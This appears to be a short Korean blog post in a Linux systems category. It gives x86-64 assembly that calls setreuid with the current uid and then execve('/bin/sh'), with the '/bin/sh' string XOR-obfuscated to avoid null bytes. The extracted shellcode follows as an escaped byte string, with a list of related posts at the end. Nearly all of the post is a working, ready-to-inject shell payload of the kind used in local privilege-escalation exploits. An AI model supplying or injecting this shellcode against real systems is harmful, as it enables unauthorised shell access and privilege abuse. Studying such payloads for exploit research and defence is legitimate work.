.globl main main: xor %rax, %rax add $0x6b, %rax syscall #getuid mov %rax, %rdi mov %rax, %rsi xor %rax, %rax add $0x71, %rax syscall #setreuid xor %rax, %rax mov $0xaac2d985c4c3c885, %rax mov $0xaaaaaaaaaaaaaaaa, %rcx xor %rcx, %rax push %rax mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall #execve xor %rsi, %rsi xor %rax, %rax add $0x3c, %rax syscall #exit
- 0xaac2d985c4c3c885는 "/bin/sh" 문자열을 0xaaaaaaaaaaaaaaaa와 xor 해놓은 값
[뽑아낸 쉘코드]
- setreuid + execve + exit
"\x48\x31\xc0\x48\x83\xc0\x6b\x0f\x05\x48\x89\xc7\x48\x89\xc6\x48\x31\xc0\x48\x83\xc0\x71\x0f\x05\x48\x31\xc0\x48\xb8\x85\xc8\xc3\xc4\x85\xd9\xc2\xaa\x48\xb9\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x48\x31\xc8\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05\x48\x31\xf6\x48\x31\xc0\x48\x83\xc0\x3c\x0f\x05"
'System > Linux' 카테고리의 다른 글
QEMU & ARM & buybox 빌드하기 (0) | 2015.02.08 |
---|---|
페도라 오버플로우 공략법 글 (0) | 2013.12.15 |
Linux system call Table 참고 (0) | 2013.12.15 |
리눅스 보호기법 체크 - checksec.sh (1) | 2012.10.26 |
리눅스 - 메모리 보호 옵션(ref) (0) | 2012.10.03 |